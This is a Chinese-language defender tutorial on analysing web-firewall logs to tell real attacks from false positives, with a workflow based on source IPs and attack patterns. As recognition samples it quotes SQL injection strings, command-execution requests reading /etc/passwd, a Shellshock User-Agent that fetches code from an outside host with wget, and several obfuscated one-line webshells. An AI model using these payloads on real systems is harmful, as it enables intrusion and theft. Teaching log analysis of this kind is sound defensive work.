1、分析日志的目的
误报:不是攻击而上报成攻击
 漏报:是攻击而没有防御的情况
 日志分析可以判断是否误判或者漏判,可以溯源攻击行为
 在护网作为防守方必备的技能(分析NGAF和态势感知,发现异常)
2、攻击出现的位置
Get、post 请求报文的url字段
•Get 、post请求 URL参数涉及到的攻击
 •xss攻击
 •SQL注入
 •命令执行
 •文件包含
 •目录穿越
 •webshell
 •信息泄露
 •网站扫描
 cookie字段、referer字段、post表单字段和url请求类似
 Get 、post请求报文的cookie字段
 
 Get、post请求报文的referer字段
 
 Post请求报文的表单字段
 

user-agent部分
 •恶意爬虫:Python-urllib/2.6、Baidu-YunGuanCe-ScanBot(ce.baidu.com)
 •扫描器:morfeus fucking scanner、 Accept:acunetix/wvs
 •sql注入漏洞:sqlmap/1.0.8.15#dev (http://sqlmap.org)
 •xss攻击:'%22()%26%25<ScRiPt%20>prompt(961668)</ScRiPt>
 •其它非常特殊攻击 :User-Agent: () { :; }; /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget
 -q -c http://lliillii.altervista.org/io.php 0<&1 2>&1
 
 Get 、post请求报文的user-agent字段

Http应答页面
 
http报文负载
•webshell (请求和应答方向都可能)
 •信息泄露(应答方向)

3、攻击常见的语句
sql注入命令
探测语句
 •http://www.19cn.com/showdetail.asp?id=49 and 1=1
 •http://www.19cn.com/showdetail.asp?id=49 or 1=1
 •and char(124)%2Buser%2Bchar(124)=0 (注入类型判断)
 
 权限判断
 •and user>0 用户名
 •and 1=(select IS_SRVROLEMEMBER('sysadmin')) 权限
 •and exists (select * from sysobjects) 数据库类型判断sqlserver
 
查询数据
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 查库名
 and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 查表名
 and (select count(字段名) from 表名)>0 猜字段
 and (select top 1 len(username) from admin)=X 猜字段值
 http://localhost/mytest/sqlinject/id=1+UNION+SELECT+1,password,3,username,5,6,7,8,9+FROM+user
 union select            猜解法
 and ascii(lower(substring((select top 1 name from sysobjects where xtype='u'), 1, 1))) > 116
命令执行
GET /simple/tests/tmssql.php?do=phpinfo
 GET /detail.php?id=/winnt/system32/cmd.exe?/c+dir+c:%5c
 GET /cgi/maker/ptcmd.cgi?cmd=;cat+/tmp/config/usr.ini
 GET /cgi/maker/ptcmd.cgi?cmd=;cat+/etc/passwd
webshell
•<?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?>
 •<%eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("123"))%>
 •<%r+k-es+k-p+k-on+k-se.co+k-d+k-e+k-p+k-age=936:e+k-v+k-a+k-lr+k-e+k-q+k-u+k-e+k-s+k-
 t("c")%>(UTF-7编码格式的一句话木马)
 •<?php @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";@$_/*-/*-*/($/*-/*-
 */{"P"./*-/*-*/"OS"./*-/*-*/"T"}[/*-/*-*/0/*-/*-*/]);?>
 •<%eval request("sb")%>
 •<%execute request("sb")%>
 •<?php eval($_POST[sb]);?>
 •<?php @eval($_POST[sb]);?>
 •<?$_POST['sa']($_POST['sb']);?>
信息泄露
配置文件访问
 •httpd.conf
 •htaccess
 •HTPASSWD
 •boot.ini
 •etc/passwd
 •Php.ini
 •Web.xml
网站扫描
恶意爬虫
 •浏览器的user-agent字段一般都比较固定如:
 •User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;Trident/5.0) ——IE 9.0
 •不是浏览器的user-agent ,很可能就是爬虫
 扫描软件: user-agent字段或者单独标示自己的软件
 •综合扫描器: wvs、 appscan
 专用扫描器: sql注入
 
4、攻击常见的特点
攻击特点:
 •攻击一般都有一定的连续性,所以一段时间会产生多条日志,并且命中特
 征id是有一定分布的,不能是只命中某个特征。
 •攻击一般都会借助工具进行,同一个IP地址日志间隔较小 ,可能一秒中产
 生几条日志,明显不是人操作浏览器的行为。
 •攻击者可能会借助一定跳板,如果IP地址是国外的,攻击嫌疑较大。
5、攻击日志分析流程
基于攻击IP地址方法分析(适用日志较多的情况)
•找出一个明显的攻击行为的日志
 •根据该日志找出攻击源IP地址
 •筛选出针对该IP地址的日志,这种情况下基本都是攻击,没有误报
 •针对该IP地址,利用前面介绍的知识,就可以看出攻击者都发起了哪些攻
 击
基于攻击方法分析(适用每类不太多的攻击)
看攻击语句,是否是明显攻击行为
 如果能看出是明显的行为,就可以确定是攻击
 如果不确定,还需要结合其他参数,
 源IP地址 :是否出现过其他类型可以明确的攻击行为
 攻击时间:如果半夜或者凌晨活动比较频繁 ,可以怀疑为攻击。
 日志频率 :一秒中出现几次日志,可以怀疑为攻击。
 攻击位置:国外的ip地址 ,可以怀疑为攻击
 报文语义分析:比如访问admin文件夹 ,可能是有攻击行为
 上述几个参数可以组合分析,进一步确定攻击
前面说的用户网站存在一定安全隐患是这种情况的一种
 还有一种情况 ,用户的应用比较特殊,理论上所有规则都能误报
 •用户是一个论坛类应用,可以提交任意东西,包括文章类
 •用户是一个代码提交讨论网站,经常通过post表单提交代码
 •这类应用主要体现在学校应用中较多

